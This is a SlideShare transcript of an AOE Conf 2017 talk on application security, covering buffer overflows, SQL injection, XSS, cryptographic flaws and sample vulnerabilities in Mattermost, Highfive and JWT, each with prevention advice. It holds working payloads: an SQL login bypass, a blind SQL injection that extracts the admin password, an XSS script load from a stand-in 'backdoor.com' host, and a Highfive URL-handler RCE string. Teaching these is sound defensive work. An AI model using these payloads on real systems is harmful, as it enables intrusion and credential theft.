SlideShare a Scribd company logo
Application Security
AOE Conf 2017
What is

Application Security?
Application Security
• Security in software

• Not management security, perimeter security, etc

• Possible Attack vectors

• How to prevent issues
Attack vectors
Code Execution
Make a system execute arbitrary code
Buffer Overflows
• Assembler code injected into memory

• 1996, Aleph One, "Smashing the stack for fun and profit"

• Possible by overflowing a programs memory with
controlled data
SQL Injection
• Execute arbitrary SQL code

• Possible by interpolating user-submitted data without
proper escaping

• Can be used to read/write files on DB server
Cross Site Scripting
• Execute arbitrary JavaScript in a privileged context

• Executed on a client's machine

• Privileged context: Browser (domain/cookies)

• Steal/Modify cookies

• AJAX Requests to privileged areas
Cryptography
Attack cryptographic measures for confidentiality and
integrity
Signatures
• Fake signatures/tokens for unauthorised access
Encryption
• Break encryption

• Missing encryption

• Broken Encryption:

• Example: Bleichenbacher RSA
Business Logic
Make legit code behave in an unintended way
Race Conditions
• Re-order execution flows to change an operations result
Exploit basics
SQL Injection
• Query: SELECT * FROM users WHERE 

username="${USERNAME}" AND 

password="${PASSWORD}";

• Username: Bastian

• Passwort: Sesame098

• Query: SELECT * FROM users WHERE 

username="Bastian" AND 

password="Sesame098";
SQL Injection
• Query: SELECT * FROM users WHERE 

username="${USERNAME}" AND 

password="${PASSWORD}";

• Username: Bastian

• Passwort: " OR 1=1 -- x

• Query: SELECT * FROM users WHERE 

username="Bastian" AND 

password="" OR 1=1 -- x";
SQL Injection
• Query: SELECT * FROM logs WHERE 

token="${TOKEN}";

• Token: a" AND IF(SUBSTRING(

(SELECT password FROM users WHERE
name="admin" LIMIT 1)

,0,1) = 'a', SLEEP(5), 0) -- x

• Query: SELECT * FROM logs WHERE

token="a" AND IF(SUBSTRING(

(SELECT password FROM users WHERE
name="admin" LIMIT 1)

,0,1) = 'a', SLEEP(5), 0) -- x";
Cross-Site Scripting
• Template: <a href="${page}">You are here</a>

• URL: http://example.com/page=hello

• Template: <a href="hello">You are here</a>
Cross-Site Scripting
• Template: <a href="${page}">You are here</a>

• URL: http://example.com/page="><script
src="http://backdoor.com/x.js"></script>

• Template: <a href=""><script src="http://
backdoor.com/x.js"></script>">You are
here</a>
Cross-Site Scripting
• Code runs in Browser of the one opening the link

• Access to Cookies+LocalStorage

• Can send requests and read their result (emulate
administrator behaviour)

• Change page look/behaviour (steal passwords, etc)
Exploits samples
Mattermost LDAP Injection
• https://mattermost/api/v3/users/login

• login_id: username)(givenName=test*

• password: ""

• Response:

• 401: OK, query successful

• 50x: Error, query failed
Mattermost LDAP Injection
Mattermost LDAP Injection
Mattermost LDAP Injection
Mattermost LDAP Injection
• Prevention: properly escape characters which might be
interpreted by LDAP
Highfive RCE
• Target: URL-Handler highfive://

• Possible arguments: ?domain=, ?protocol=
Highfive RCE
Privileged
Non-Privileged Display Web-pages
Execute processes etc
Highfive Sandbox (NW.js)
Whitelist:
https://highfive.com
https://dev.highfive.com
Highfive RCE
• highfive://test.com.a/?
domain=alert(require('child_process').execSyn
c('hostname;echo;id').toString())//
&protocol=javascript
• Starts Highfive on a privileged initial domain

• Redirects to: protocol + '://' + domain + path

• Becomes: 

javascript://
alert(require('child_process').execSync('host
name;echo;id').toString())//something
Highfive RCE
• Redirect to javascript:// does not change the
sandbox

• Works on any operating system

• Thank you JavaScript 😙
Highfive RCE
• Prevention: whitelist redirect targets
JWT Null Tokens
JWT Null Tokens
JWT Null Tokens
JWT Null Tokens
JWT Null Tokens
• Prevention: Do not allow null signature algorithms
Preventive actions
Finding Security issues
• Code Reviews

• Curiosity

• (sometimes: automated scanners)
Stay up to date
React fast
React fast
• Escalation plan for security incidents

• Fast deployment strategies

• Firewall setup to cut off possible infected systems

• Snapshot infrastructure for later analysis
Thank you :)
Questions?

More Related Content

PPTX
Browser Security 101
Stormpath
 
PDF
AtlasCamp 2014: Writing Connect Add-ons for Confluence
Atlassian
 
PPTX
Using Controls, calling Launchers. IsolatedStorages and Local DataBase samples
Rashad Aliyev
 
PDF
AtlasCamp 2014: 10 Things a Front End Developer Should Know About Connect
Atlassian
 
PDF
AtlasCamp 2014: Connect Security
Atlassian
 
PDF
Securing Web Applications with Token Authentication
Stormpath
 
PPTX
«How to start in web application penetration testing» by Maxim Dzhalamaga
0xdec0de
 
PPTX
An approach to app security - For beginners
vodQA
 
Browser Security 101
Stormpath
 
AtlasCamp 2014: Writing Connect Add-ons for Confluence
Atlassian
 
Using Controls, calling Launchers. IsolatedStorages and Local DataBase samples
Rashad Aliyev
 
AtlasCamp 2014: 10 Things a Front End Developer Should Know About Connect
Atlassian
 
AtlasCamp 2014: Connect Security
Atlassian
 
Securing Web Applications with Token Authentication
Stormpath
 
«How to start in web application penetration testing» by Maxim Dzhalamaga
0xdec0de
 
An approach to app security - For beginners
vodQA
 

What's hot (19)

PPTX
Build A Killer Client For Your REST+JSON API
Stormpath
 
PPTX
Introdcution to Adobe CQ
Rest West
 
PPTX
Web Hacking series part 2
Aditya Kamat
 
PPT
Digər proqramlaşdırma dillərində Android platforması üçün proqramlaşdırma
Rashad Aliyev
 
PDF
Securty Testing For RESTful Applications
Source Conference
 
PPTX
ASP.NET - Ivan Marković
Software StartUp Academy Osijek
 
KEY
Using an in-house WordPress framework
peterwilsoncc
 
PDF
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
Sam Bowne
 
PPTX
Secure Your REST API (The Right Way)
Stormpath
 
PDF
Authentication: Cookies vs JWTs and why you’re doing it wrong
Derek Perkins
 
PDF
How to Harden the Security of Your .NET Website
DNN
 
PPTX
Adobe CQ5 for Developers - Introduction
Tekno Point
 
PPT
OWASP ESAPI and Microsoft Web Libraries in Cross-Site Scripting
Denim Group
 
PPTX
Learn css step by step online course
Naeem Hussain
 
PPTX
Exploiting a vulnerability to gain a shell
Aditya Kamat
 
PDF
All ivanti is a secure workspace - Bsides Delft 2018
Johanna Curiel
 
PDF
CNIT 129S: Ch 5: Bypassing Client-Side Controls
Sam Bowne
 
PDF
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
Sam Bowne
 
PDF
CNIT 129S: 13: Attacking Users: Other Techniques (Part 2 of 2)
Sam Bowne
 
Build A Killer Client For Your REST+JSON API
Stormpath
 
Introdcution to Adobe CQ
Rest West
 
Web Hacking series part 2
Aditya Kamat
 
Digər proqramlaşdırma dillərində Android platforması üçün proqramlaşdırma
Rashad Aliyev
 
Securty Testing For RESTful Applications
Source Conference
 
ASP.NET - Ivan Marković
Software StartUp Academy Osijek
 
Using an in-house WordPress framework
peterwilsoncc
 
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
Sam Bowne
 
Secure Your REST API (The Right Way)
Stormpath
 
Authentication: Cookies vs JWTs and why you’re doing it wrong
Derek Perkins
 
How to Harden the Security of Your .NET Website
DNN
 
Adobe CQ5 for Developers - Introduction
Tekno Point
 
OWASP ESAPI and Microsoft Web Libraries in Cross-Site Scripting
Denim Group
 
Learn css step by step online course
Naeem Hussain
 
Exploiting a vulnerability to gain a shell
Aditya Kamat
 
All ivanti is a secure workspace - Bsides Delft 2018
Johanna Curiel
 
CNIT 129S: Ch 5: Bypassing Client-Side Controls
Sam Bowne
 
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
Sam Bowne
 
CNIT 129S: 13: Attacking Users: Other Techniques (Part 2 of 2)
Sam Bowne
 
Ad

Similar to AOEconf17: Application Security - Bastian Ike (20)

PPTX
Case Study of Django: Web Frameworks that are Secure by Default
Mohammed ALDOUB
 
PPTX
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
nooralmousa
 
PDF
Become a Security Ninja
Paul Gilzow
 
PDF
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
Ivo Andreev
 
PDF
Do you lose sleep at night?
Nathan Van Gheem
 
PDF
2013 OWASP Top 10
bilcorry
 
PPTX
The OWASP Zed Attack Proxy
Aditya Gupta
 
PDF
Web Security
KHOANGUYNNGANH
 
PDF
Making Web Development "Secure By Default"
Duo Security
 
PPT
Django (Web Applications that are Secure by Default)
Kishor Kumar
 
PDF
Devbeat Conference - Developer First Security
Michael Coates
 
PPT
Top Ten Proactive Web Security Controls v5
Jim Manico
 
PDF
Building Client-Side Attacks with HTML5 Features
Conviso Application Security
 
PPTX
Spa Secure Coding Guide
Geoffrey Vandiest
 
PPTX
OWASP top 10-2013
tmd800
 
PDF
Hacking sites for fun and profit
David Stockton
 
PPTX
Web development tips and tricks
maxo_64
 
PDF
OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017
Philippe Gamache
 
PDF
OWASP Top 10 Proactive Controls 2016 - PHP Québec August 2017
Philippe Gamache
 
PPTX
Ten Commandments of Secure Coding - OWASP Top Ten Proactive Controls
SecuRing
 
Case Study of Django: Web Frameworks that are Secure by Default
Mohammed ALDOUB
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
nooralmousa
 
Become a Security Ninja
Paul Gilzow
 
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
Ivo Andreev
 
Do you lose sleep at night?
Nathan Van Gheem
 
2013 OWASP Top 10
bilcorry
 
The OWASP Zed Attack Proxy
Aditya Gupta
 
Web Security
KHOANGUYNNGANH
 
Making Web Development "Secure By Default"
Duo Security
 
Django (Web Applications that are Secure by Default)
Kishor Kumar
 
Devbeat Conference - Developer First Security
Michael Coates
 
Top Ten Proactive Web Security Controls v5
Jim Manico
 
Building Client-Side Attacks with HTML5 Features
Conviso Application Security
 
Spa Secure Coding Guide
Geoffrey Vandiest
 
OWASP top 10-2013
tmd800
 
Hacking sites for fun and profit
David Stockton
 
Web development tips and tricks
maxo_64
 
OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017
Philippe Gamache
 
OWASP Top 10 Proactive Controls 2016 - PHP Québec August 2017
Philippe Gamache
 
Ten Commandments of Secure Coding - OWASP Top Ten Proactive Controls
SecuRing
 
Ad

More from AOE (20)

PDF
Re-inventing airport non-aeronautical revenue generation post COVID-19
AOE
 
PDF
Flamingo - Inspiring Commerce Frontend made in Go - Meet Magento 2019
AOE
 
PPTX
Flamingo presentation at code.talks commerce by Daniel Pötzinger
AOE
 
PDF
A bag full of trust - Christof Braun at AOE Conference 2018
AOE
 
PDF
Digitalizing the Global Travel Retail World - Kian Gould at Global Retailing ...
AOE
 
PDF
Frankfurt Airport Digitalization Case Study
AOE
 
PDF
This is what has to change for Travel Retail to survive - Manuel Heidler, AOE
AOE
 
PDF
AOEconf17: Application Security
AOE
 
PPTX
AOEconf17: AOE Tech Radar Insights
AOE
 
PDF
AOEconf17: A flight through our OM³ Systems
AOE
 
PDF
AOEconf17: AOE Tech Radar Insights
AOE
 
PDF
AOEconf17: Pets vs. Cattle - modern Application Infrastructure - by Fabrizio ...
AOE
 
PPTX
AOEconf17: Agile scaling concepts
AOE
 
PDF
AOEcon17: Searchperience - The journey from PHP and Solr to Scala and Elastic...
AOE
 
PDF
AOEconf17: UI challenges in a microservice world
AOE
 
PPTX
AOEconf17: Management 3.0 - the secret to happy, performing and motivated sel...
AOE
 
PDF
AOEconf17: How to eat an elePHPant, congstar style - Timo Fuchs & Stefan Rotsch
AOE
 
PDF
Joern Bock: The basic concept of an agile organisation
AOE
 
PPTX
Magento 2 Best Practice Workfow // David Lambauer // Meet Magento 2017 // Lei...
AOE
 
PDF
SUPER-scaling E-Commerce with Magento
AOE
 
Re-inventing airport non-aeronautical revenue generation post COVID-19
AOE
 
Flamingo - Inspiring Commerce Frontend made in Go - Meet Magento 2019
AOE
 
Flamingo presentation at code.talks commerce by Daniel Pötzinger
AOE
 
A bag full of trust - Christof Braun at AOE Conference 2018
AOE
 
Digitalizing the Global Travel Retail World - Kian Gould at Global Retailing ...
AOE
 
Frankfurt Airport Digitalization Case Study
AOE
 
This is what has to change for Travel Retail to survive - Manuel Heidler, AOE
AOE
 
AOEconf17: Application Security
AOE
 
AOEconf17: AOE Tech Radar Insights
AOE
 
AOEconf17: A flight through our OM³ Systems
AOE
 
AOEconf17: AOE Tech Radar Insights
AOE
 
AOEconf17: Pets vs. Cattle - modern Application Infrastructure - by Fabrizio ...
AOE
 
AOEconf17: Agile scaling concepts
AOE
 
AOEcon17: Searchperience - The journey from PHP and Solr to Scala and Elastic...
AOE
 
AOEconf17: UI challenges in a microservice world
AOE
 
AOEconf17: Management 3.0 - the secret to happy, performing and motivated sel...
AOE
 
AOEconf17: How to eat an elePHPant, congstar style - Timo Fuchs & Stefan Rotsch
AOE
 
Joern Bock: The basic concept of an agile organisation
AOE
 
Magento 2 Best Practice Workfow // David Lambauer // Meet Magento 2017 // Lei...
AOE
 
SUPER-scaling E-Commerce with Magento
AOE
 

Recently uploaded (20)

PDF
An Experience-Based Look at AI Lead Generation Pricing, Features & B2B Results
Thomas albart
 
PPTX
ASSIGNMENT_1[1][1][1][1][1] (1) variables.pptx
kr2589474
 
PPTX
Presentation about variables and constant.pptx
kr2589474
 
PPTX
classification of computer and basic part of digital computer
ravisinghrajpurohit3
 
PDF
On Software Engineers' Productivity - Beyond Misleading Metrics
Romén Rodríguez-Gil
 
DOCX
Can You Build Dashboards Using Open Source Visualization Tool.docx
Varsha Nayak
 
PPT
Why Reliable Server Maintenance Service in New York is Crucial for Your Business
Sam Vohra
 
PPTX
Presentation about Database and Database Administrator
abhishekchauhan86963
 
PDF
Balancing Resource Capacity and Workloads with OnePlan – Avoid Overloading Te...
OnePlan Solutions
 
PPTX
ConcordeApp: Engineering Global Impact & Unlocking Billions in Event ROI with AI
chastechaste14
 
PDF
ChatPharo: an Open Architecture for Understanding How to Talk Live to LLMs
ESUG
 
PPTX
AI-Ready Handoff: Auto-Summaries & Draft Emails from MQL to Slack in One Flow
bbedford2
 
PDF
lesson-2-rules-of-netiquette.pdf.bshhsjdj
jasmenrojas249
 
PDF
advancepresentationskillshdhdhhdhdhdhhfhf
jasmenrojas249
 
PDF
Adobe Illustrator Crack Full Download (Latest Version 2025) Pre-Activated
imang66g
 
PPTX
The-Dawn-of-AI-Reshaping-Our-World.pptxx
parthbhanushali307
 
PPTX
Contractor Management Platform and Software Solution for Compliance
SHEQ Network Limited
 
PDF
Salesforce Implementation Services Provider.pdf
VALiNTRY360
 
PPTX
Maximizing Revenue with Marketo Measure: A Deep Dive into Multi-Touch Attribu...
bbedford2
 
PDF
Summary Of Odoo 18.1 to 18.4 : The Way For Odoo 19
CandidRoot Solutions Private Limited
 
An Experience-Based Look at AI Lead Generation Pricing, Features & B2B Results
Thomas albart
 
ASSIGNMENT_1[1][1][1][1][1] (1) variables.pptx
kr2589474
 
Presentation about variables and constant.pptx
kr2589474
 
classification of computer and basic part of digital computer
ravisinghrajpurohit3
 
On Software Engineers' Productivity - Beyond Misleading Metrics
Romén Rodríguez-Gil
 
Can You Build Dashboards Using Open Source Visualization Tool.docx
Varsha Nayak
 
Why Reliable Server Maintenance Service in New York is Crucial for Your Business
Sam Vohra
 
Presentation about Database and Database Administrator
abhishekchauhan86963
 
Balancing Resource Capacity and Workloads with OnePlan – Avoid Overloading Te...
OnePlan Solutions
 
ConcordeApp: Engineering Global Impact & Unlocking Billions in Event ROI with AI
chastechaste14
 
ChatPharo: an Open Architecture for Understanding How to Talk Live to LLMs
ESUG
 
AI-Ready Handoff: Auto-Summaries & Draft Emails from MQL to Slack in One Flow
bbedford2
 
lesson-2-rules-of-netiquette.pdf.bshhsjdj
jasmenrojas249
 
advancepresentationskillshdhdhhdhdhdhhfhf
jasmenrojas249
 
Adobe Illustrator Crack Full Download (Latest Version 2025) Pre-Activated
imang66g
 
The-Dawn-of-AI-Reshaping-Our-World.pptxx
parthbhanushali307
 
Contractor Management Platform and Software Solution for Compliance
SHEQ Network Limited
 
Salesforce Implementation Services Provider.pdf
VALiNTRY360
 
Maximizing Revenue with Marketo Measure: A Deep Dive into Multi-Touch Attribu...
bbedford2
 
Summary Of Odoo 18.1 to 18.4 : The Way For Odoo 19
CandidRoot Solutions Private Limited
 

AOEconf17: Application Security - Bastian Ike